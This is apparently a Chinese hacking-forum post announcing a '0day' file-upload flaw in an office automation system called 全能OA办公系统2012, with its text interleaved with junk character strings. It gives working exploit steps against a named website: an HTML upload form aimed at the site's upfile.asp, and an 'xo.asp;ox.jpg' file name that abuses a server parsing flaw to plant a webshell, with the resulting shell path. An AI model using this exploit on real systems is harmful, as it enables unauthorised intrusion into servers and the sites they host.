全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
* O2 N# S1 Y, z( Y3 a​
- `1 N+ K: D4 l系统介绍：
. i/ A0 X4 Z# G, K
全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

主要功能：
& Y) X$ V8 P1 w4 X7 ^公司通告
工作计划
通讯助理
客户资源
我的公文
7 _5 h. l+ }7 n1 D( S# p8 @公文传阅
4 W, V& o( Y4 A* P+ T3 T% P公共资源
资源预约
今日考勤
个人计划
个人通讯录
个人基本档案
7 \  z1 T( Y- X4 C  y7 Q$ F未读邮件
发邮件
收件夹
, j- C" J( {, a# G. I$ ^寄件夹
3 Y/ F6 b+ D+ x3 F! z  C网络硬盘
4 ]7 Q9 P3 _  W; a& |3 ^$ k网络会议
网络调查
交流论坛
: H- Z& S. \. V( |, i( [3 |0 v
8 H, R9 ~- |: V0 W2 D( j有兴趣测试的朋友可以下源码看看

源码下载：

http://www.mycodes.net/30/4750.htm
* L6 h' D, }- o9 I* P, ~7 E0 e
漏洞介绍：

由upfile.asp上传文件漏洞引起

测试方法：
5 X. @1 o5 c7 r
: W, M; X+ ~3 l1 F0 u$ i0 j) x使用名小子上传http://www.itlynn.com/upfile.asp即可

; B% g: A6 u+ E* C6 o5 }' N" y/ B如果upfile.asp文件被删除不存在。

) ~) A1 C. x$ @$ H0 J2 ]9 B  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

如果存在那么将如下代码保存为upfile.html。
; B& j3 V0 m6 N8 X1 w
然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
, g7 b  r  b, q; L9 l& E0 L; g/ z7 S; n

' _9 x6 L) T# N$ _( v
$ N0 {$ C9 G( A  ^& Y7 e01 <table border='0' align="center" cellpadding="5">

4 |/ t' C- g( }9 T! r02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

8 d9 x- H1 S' R  C! I8 e5 Q+ q4 d03 <tr>

04             <td>报错：</td>

05             <td><input type='radio' name='errnumber' value='0'>
. D/ M! O  |, i  W" i9 j) c
06               自动更名

2 F- A" D( q. \4 _8 |07               <input type='radio' name='errnumber' value='1' checked>
( c& E, a! r/ B  @9 D: S
9 C  B# j7 ]9 O/ E. r08               报错方式

09               <input type='radio' name='errnumber' value='2'>
' l& [" ~, D( O6 w" _9 d# k
10               直接覆盖</td>
1 Y6 D! r; Y: n5 E
11           </tr>
0 R. @% O+ n5 W" Q$ C: k! G
12           <tr>

13             <td>主题：</td>
0 j, |: b0 m# g9 d# V9 v
14             <td><input type='text' name='filename' size='30'></td>
4 N, }) w/ o# T  D
15           </tr>
4 G9 Y( b! q, T
16           <tr>
! s7 F# D  r% }2 ^0 J
5 ]  G1 K0 f, v% i( k17             <td>文件：</td>

18             <td><input type="file"name="fruit"size="30"></td>
5 r% E) R4 h  J) Z# T4 L  J$ k
19           </tr>

20           <tr>
; D( a5 R2 q2 j9 }) I/ k9 l  F+ E
21             <td valign='top'>简介：</td>

( q4 u4 A% G7 S3 ]. [: w: v$ O22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
% _: \9 ]7 L9 w/ m* T+ ]
23           </tr>

. g9 d" {" K# C; Y( {24   

" ?8 [7 g$ h. B0 ?25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

26           </tr>
# M7 p3 L& S/ K& s% c( a  f
" f  K, }+ ]! [6 N/ @# e27         </form>
- ]* s, [( ~% R
然后打开上传一个文件名为xo.asp;ox.jpg的文件。
. @) C  G6 B  U

  w) H% `+ ?9 j5 L% n' Z# \0 S
  |: o& ^; D" T' T上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
8 X+ r) W) Q; m" m
7 [1 r4 ]: V+ J& o3 K2 z( r' H: f此漏洞需要配合解析漏洞利用。

+ j& t" Q2 R; o' }